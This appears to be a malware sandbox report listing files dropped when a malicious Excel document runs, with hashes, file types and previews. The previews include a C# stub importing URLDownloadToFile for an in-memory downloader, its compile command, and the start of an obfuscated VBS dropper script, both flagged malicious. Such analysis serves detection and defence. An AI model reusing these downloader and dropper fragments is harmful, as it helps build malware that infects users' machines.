SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\juhpsd12.r0s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\kh3pumi0.njn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\kj0hyxr0.kun.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\mffkkngw\CSC9E50345C585C4EFF867E1FFD2050D1A6.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.10168822136036
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryezGak7Ynqq7zXPN5Dlq5J:+RI+ycuZhNgzGakS7zXPNnqX
MD5:	47B7140357CF70CB44A73FF0BE8B2BCB
SHA1:	C73C2C7057A531A6F50570A9DD7DA6834EF98437
SHA-256:	8C5A82810FE54CBBDF6A1CF55FE18032C19012F34AD104D83DDABFF17B9D2BBE
SHA-512:	2308B5DF757F0CA75E08918EDC7121F75ACD1C662DB4CD462F3EFC265780648B12C38F19B852CC2F152EAA234CA8077A667811AD18463E7504D63D083D581FB0
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.f.f.k.k.n.g.w...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.f.f.k.k.n.g.w...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (355)
Category:	dropped
Size (bytes):	472
Entropy (8bit):	3.7725208644149166
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuE40zmMm/nQXReKJ8SRHy4H+J4EEJ4rNgueIy:V/DTLDfuER5XfHCzETueIy
MD5:	1A212B8A44924D84EEBA108F2409B5E8
SHA1:	B19066FAB9C3329CD206958DACEE65A08607586B
SHA-256:	977B687CCDCAEA25B4AFDD04DBAC19BF12B31AFAD4AE226D7B7E5ED5CABCF073
SHA-512:	4D4BBADA1880CE68CEEAFF34A1D412350F715C0F5F741F7F47692549280DC92738881CE1FFF7BBCD472610A63D99DED94CA713CC859B330A07D13DF2313EA453
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace lxsBtSMPv.{. public class dzTk. {. [DllImport("UrlMON", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr dnHrLo,string jlWMht,string L,uint UDwRBXCS,IntPtr qEKvq);.. }..}.

C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.260265794996971
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23f4Frzxs7+AEszIP23f4FGn:p37Lvkmb6KzQ1WZEoQwn
MD5:	ED70F226984C80BB70F2CACFB9893B88
SHA1:	DD1121B0C4C320C7BEBBD9BFAB3E5A700B337F56
SHA-256:	47C246923AAEF117A8C47267912DF193F0F93E0DC4A1DBB1C87400D965F020F6
SHA-512:	DF6F5765BB01BBB976ADAFC95A44A70D1D61F4087781821377748F6A00FCC673884FD9D65A256CD3A3E7808C5858C43497947262E105FF68407C3D0A7414E143
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.0.cs"

C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.821607690802324
Encrypted:	false
SSDEEP:	24:etGSjPBu5exl8sMQgkg4qvmStZwtkZf+mAjcUWI+ycuZhNgzGakS7zXPNnq:60sx+FT4CmStZXJZAA31ulgKa37xq
MD5:	1B6E8F694BB6D88E2F456376B8B75F76
SHA1:	4873CB64E792E8E8429381C3DDCFA87E8ABCE277
SHA-256:	5D585C1C16C3D6B539B86BF75496F5303B589B69DE69DE64CE5B29A3376222A5
SHA-512:	2A6A0F0A473A8B8B2AA2012D2D0DB16A2EE35318B3252D53667342E045BF1E2BBCD984E6CC22024CF637E09888681380F0DFD401512F6BB0CEB6D94059F0FB91
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....w;g...........!.................#... ...@....... ....................................@.................................T#..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................6./.....t.....t.......................................... =.....P ......O.........U.....\.....c.....e.....n...O.....O...!.O.....O.......!............=.......................................&..........<Module>.mf

C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.3362011001621985
Encrypted:	false
SSDEEP:	24:AId3ka6KzPEoDuKaMD5DqBVKVrdFAMBJTH:Akka60PEoiKdDcVKdBJj
MD5:	1F3E6F89655D2546399FD2611B39E141
SHA1:	84D80B88401E51CFABC55E6E1D7E923F4D6E3C72
SHA-256:	80D494FFF69851A5BA4656E991BFB165BDAA3BC6CC3221A96E916DC1E8C71AC9
SHA-512:	16B0FAEDBB02BA6FB81A0CF44D2668232FC572AA5046769926B6DB8AEF504AB9B6C43F52FE0C10B956292212DEF7A58BD445458097268BF0538B671FADFB6AD9
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\pg5zlznf.jdr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\pi1zgeam.xhn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\qsaqhyjy.j1t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\rlwquzgk.hm0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tzmxd2mh.odc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\um521pkd.wec.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\zvbnnwpd.xyi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF508752BFAC98AD6E.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	684032
Entropy (8bit):	7.939143398598026
Encrypted:	false
SSDEEP:	12288:SI95bskcY20p3Sz4v3ujGCuVRqfPSMCfhhBKkle42mt7j3K5Rvy3esTVfME:jnbskQzzO+GRwSNjBKk/1M6BE
MD5:	877476D9687CC83CD96330052EADD53C
SHA1:	E00AF7151A7234D3C471EAC440DA03128C331C05
SHA-256:	A62A0000E6CFE3A42C5CADD68B79FFBC58BE5B8DA97D6EFADD38685BA1159EE2
SHA-512:	B62933C300D0BAA536A69157E3D2D7D4C2468110D97F0CD7BC4B8C5C7E6FA5B69BFCC776A95A44F2436349AB5B8B9BA97E107419AF02E44AC3A260E9A12A7783
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF586B73F9A6612AAE.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF7A7E5C674389C82E.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF7DC820911769618A.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	676352
Entropy (8bit):	7.983686457146692
Encrypted:	false
SSDEEP:	12288:mI95bskcY20p3Sz4v3ujGCuVRqfPSMCfhhBKkle42mt7j3K5Rvy3esTVfME:fnbskQzzO+GRwSNjBKk/1M6BE
MD5:	31B8E815E3BEB1A6BE2EC33FF366FFFF
SHA1:	FCC0FFA816A198B6F4220D16799EF79768DD7876
SHA-256:	DF533F4B212F9E036D28048FB82786DFDDB58BB6F9A89B469B9A9CFFAFC71AEA
SHA-512:	A98D442DD55667E3C90304F2ED1B3A553F1C25CE667D4B67F4B59B201C98C8011259B63523E869D805D9A73292B599781D990F47ADFF803C44D49C48EA6DED1C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.6739662216458647
Encrypted:	false
SSDEEP:	12:Ppb0slZp69PO9tauZ7nH2AaYSQ81v0t4TreIBUxFj87+k/R:RbG4WuZfKZ1c+reIAon/R
MD5:	C61F99FE7BEE945FC31B62121BE075CD
SHA1:	083BBD0568633FECB8984002EB4FE8FA08E17DD9
SHA-256:	1E0973F4EDEF345D1EA8E90E447B9801FABDE63A2A1751E63B91A8467E130732
SHA-512:	46D743C564A290EDFF307F8D0EF012BB01ED4AA6D9667E87A53976B8F3E87D78BEBE763121A91BA8FB5B0CF5A8C9FDE313D7FBD144FB929D98D7D39F4C9602C9
Malicious:	false
Preview:	....+..F..N..F).~]............\.">.. .......p.J..} /o...rLj-...FS..'x.o..%^ .....zr/..3.y.e4...MM.4..x9.f.D..{..(....'p......9...Qn..d..+.....H..M.)..........].....n-.]........n&.*.H`.sz...r.....1B.....e.."...A.....,-....n..$.<....CO..VO..P..'.......<......n....&5s....z..$.{'IM-.o..(#N.-..(H...a&...y.S..`8.(./...1.P.. .....K.3.......I!]G....@N........F.l.T=.0...`"..L....B...B`nI.<.....&F..2J2....1..Rs....h.Zq.`...t..CJ....@.....I.G.e..k..H.....F..G:..6.G.l=.Y......:...C.........?[.ts...=....;.\|...q...@....s................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	24152
Entropy (8bit):	0.7513521539333206
Encrypted:	false
SSDEEP:	24:CMLhbFnirW0rAHV4Ji9Tp5fGtFTIvs5/KUC6m6C9xRjNi1uiHIzVp9:CMBFF0kKJoTetFTFZKR6axR6uiozVb
MD5:	8A8D71BED4B5760F2F82C680C2C8CACC
SHA1:	FA589EA7BA858C514079289BCEA3625432110427
SHA-256:	78CF9C5CCAC6BEF4326F7514D4083BBC223347412A3D2975EDA8AD679D4EEB2B
SHA-512:	8D06BAC9D7433AAAD1126CF922F133FF2946A830507BFA0308677D3D81E5559A708D7733BB87C9CA70A8146DD6C2DB5B50A4D97F9442FE615483711B12445BC9
Malicious:	false
Preview:	...W....K.h.E..g..0...!1sm.[t\......A......Ov..M..E........b...\|,.g..t..;x..l..w......:......:..._.u.X....K../...eg..d......di...#....Y....3..m...M..S..U...-.`..2Z..............?.......o P.=...@p...H..J....-..*:..0.z\.i.U..(.3...Z7..8k.......x.Ja&%.t.,..%\...HALm[."..H.....`..kO'..>.6....C.X...Hv..p.~B..-i....C..J>t<...g.n7'....$.........1..1S..4.r.).m...pO........-..9..Y....H.o_u...j....D.+&.9wu5H..r.z...A...%........3.... ......E-....a.p.-!...z...j..J....tSE.B........b..o;.nG.2^...Y,.....5...;......?.K9.{..z\D.G..%..0.,..(..oS...5.......gem...\|a...p.uE.G8+....[q......G.;K....,..1&.....b...../%'.Q.;Kl...._"...:]Q.L...Q1?....5..@t .E%......w}..(...J.]..........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (377), with CRLF line terminators
Category:	dropped
Size (bytes):	141308
Entropy (8bit):	3.677460277464518
Encrypted:	false
SSDEEP:	1536:DBkSUTu5S/BV4Mf8mOZG3WVGwB7xW9xjqGuvcQ6T0+gt5pzBGwm:mSU/B2e8muG3WQwNjG4cQ6TZgt5p9Gwm
MD5:	855D024750A1BC1BC078E60C05E506E3
SHA1:	480C344EF4E060ADB7CA7E159C815CB38AC87614
SHA-256:	560327E8E4C818547FE966C8704D97270986B7457D62A154219E81ED4AFB4667
SHA-512:	64A68DD3C8750E7A90C95078DC1DB87086C546212B56348E6D45F4444B5DD7E6725F3B5DDBC2C414D08A7DF2FBF2EECD11B9AB414588AC7B66F57F70FBB85C94
Malicious:	true
Preview:	..........F.u.n.c.t.i.o.n. .e.n.g.o.m.a.d.e.l.a.(.B.y.V.a.l. .c.o.r.n.o.f.o.n.e.,. .B.y.V.a.l. .m.o.q.u.e.n.c.o.,. .B.y.V.a.l. .a.p.r.e.s.a.r.)..... . . . .D.i.m. .a.s.s.e.n.t.i.m.e.n.t.o..... . . . .a.s.s.e.n.t.i.m.e.n.t.o. .=. .I.n.S.t.r.(.c.o.r.n.o.f.o.n.e.,. .m.o.q.u.e.n.c.o.)..... . . . ..... . . . .D.o. .W.h.i.l.e. .a.s.s.e.n.t.i.m.e.n.t.o. .>. .0..... . . . . . . . .c.o.r.n.o.f.o.n.e. .=. .L.e.f.t.(.c.o.r.n.o.f.o.n.e.,. .a.s.s.e.n.t.i.m.e.n.t.o. .-. .1.). .&. .a.p.r.e.s.a.r. .&. .M.i.d.(.c.o.r.n.o.f.o.n.e.,. .a.s.s.e.n.t.i.m.e.n.t.o. .+. .L.e.n.(.m.o.q.u.e.n.c.o.).)..... . . . . . . . .a.s.s.e.n.t.i.m.e.n.t.o. .=. .I.n.S.t.r.(.a.s.s.e.n.t.i.m.e.n.t.o. .+. .L.e.n.(.a.p.r.e.s.a.r.).,. .c.o.r.n.o.f.o.n.e.,. .m.o.q.u.e.n.c.o.)..... . . . .L.o.o.p..... . . . ..... . . . .e.n.g.o.m.a.d.e.l.a. .=. .c.o.r.n.o.f.o.n.e.....E.n.d. .F.u.n.c.t.i.o.n.............p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .R.e.a.d.S.t.d.I.n.(.)..... . . . .w.h.i.l.e. .N.o.t. .s.t.d.I.n...A.t.E.n.d.O.f.S.t.r.e.a.m..... .

C:\Users\user\AppData\Roaming\veebvdf

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	339146
Entropy (8bit):	7.999485525251745
Encrypted:	true
SSDEEP:	6144:TcbeQC4NbOeKphDokD6cnk2VRJl6C1bXhgvjuSX+2e+nO4qUuTAFfekd:TcqWixhND6Ik2Vnl6ebXhCjuM+cgX0ZF
MD5:	A81CC72633761F32F16472439677E257
SHA1:	3BEC07FF44EF0C29FE9A4EB682F4B7263A010175
SHA-256:	D2A1F3839C9B8F03072F526983C236019038D4BEB952F89A34661D5A6D15B8B1
SHA-512:	D7B759E8AF72EB81DEFEE1989E272C54629F5DADC97A36547916A03E829678CCF0C0C816CB1A4819D3D3D15DAB819838B494D8A3A4C326A09F2C110C5B83F8C0
Malicious:	false
Preview:	z+..).@u'(.N.7..#w..........(.b.....n.......w.N..t.....mR6.}.._'X.LHn>...........h.Y.Rl..0.......R.3..rR...p..O8&k..=0H'..K.[.tq.H.y..G.="!.YW.d..q>.y..~h.V.'..?...p[.U..h.i...F.....KA.8.G...:....3.....+..i5..o.Qt.H..[..Q5z6U..1KcA....2-...n.v.......[.u.f..0..j.@.....v.........]....P..Sw.Z..w1%m...<...(........cI.-..=.e....g....~$..L..4.....".....b=.d.8.-7....3x.}...]u..I9..n..}..x..2..q._8..K?..7...,>.<....4....F._e ...0X..ZZN..rMM..........H....E...T.kL..&53^.....'.o...4.[.Ho..;>..>.b...."..W....O.......%O.2.[...Qa'.....5Z[gCW...F.9...}J.;.UGc..n...,..^...a........9t...s.".F!\|."...?\|"..\....%OWP.../6,....G.\|,...$.:....gf..L.&$..WY.@[-.k...W.li....7.....#....8M..$..pD.W.k...#...F...........G.nH..4.?XpT.!.z.Q..>1.]`..W...T.0_.b.^...".4..V.(.....E_#.....b..`n...}]N..A..<........@@.n.....{..5.....##.s.X...I..f./.m.....w.&H.....\..........5s....2...s.....OZ.Z.xl......{..y"*Ked....ye...:..ey.'......N1......lT...>5.]9...x.....x!Id..

C:\Users\user\AppData\Roaming\vtjrhji

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	55384
Entropy (8bit):	6.082605220064531
Encrypted:	false
SSDEEP:	768:8F9E8FLLs2Zokf85dkRTc6Iq8Anqf7Px9pf+iuBqip1P:8fE6EkfOdkRT7xq9pf+3BHP
MD5:	A1CC6D0A95AA5C113FA52BEA08847010
SHA1:	76761992AD449C736771110047C8BBF14D85EEBD
SHA-256:	D7409D01E21B22084F3C166022C69AD46DDD7AAAFF8EED6EB540961D3A196AEA
SHA-512:	2C64159A49EDD906A8D971A9D7AFD62FDA47E36829CB7F0572D47F917AE62221C79E70962965216CB23C69718C2A2106355A04304095FA27071A2BD4AA120862
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ldegwikhzs.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.MSIL_Agent.GJP.gen.Eldorado.13778.95.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.MSIL_Agent.GIL.gen.Eldorado.20044.1173.exe, Detection: malicious, Browse Filename: P.O_2023-0394.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.MSIL_Kryptik.JML.gen.Eldorado.26148.25502.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Mardom.MN.9.13268.1323.exe, Detection: malicious, Browse Filename: INVOICE_23DF-48609002.exe, Detection: malicious, Browse Filename: SHIPPING_DOCUMENT.exe, Detection: malicious, Browse Filename: Shipping_documents_SST2112-250.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.MSIL_Agent.GIL.gen.Eldorado.30277.9800.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5p.\..............0................. ........@.. ....................................`.................................t...O.......................X>..........<................................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......t3..pc.............X...<........................................0..........s.....Y.....(.....Z.....&..(......+....(....o......r...p(....-..r...p(....,.....X....i2..-;(....(..........%.r!..p.(....(....((...(....(....(....( 